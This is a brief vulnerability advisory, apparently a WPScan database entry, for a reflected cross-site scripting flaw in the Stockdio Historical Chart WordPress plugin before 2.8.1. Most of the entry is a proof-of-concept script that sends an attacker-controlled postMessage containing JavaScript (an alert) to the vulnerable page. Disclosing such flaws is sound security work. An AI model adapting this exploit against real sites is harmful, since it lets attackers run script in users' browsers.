Stockdio Historical Chart < 2.8.1 - Reflected Cross-Site Scripting (XSS)

2021-01-2000:00:00

wpvulndb

JSON

The plugin was affected by a Reflected Cross-Site Scripting issue via the postMessage() event.

Use the following code on another website

<script>
        var popup = window.open('https://VULNERABLE.PAGE/');
        var msg = {};
        msg.method = "alert(document.domain)";
        function post(){popup.postMessage(msg,'*')}
        setInterval(post,1000);
</script>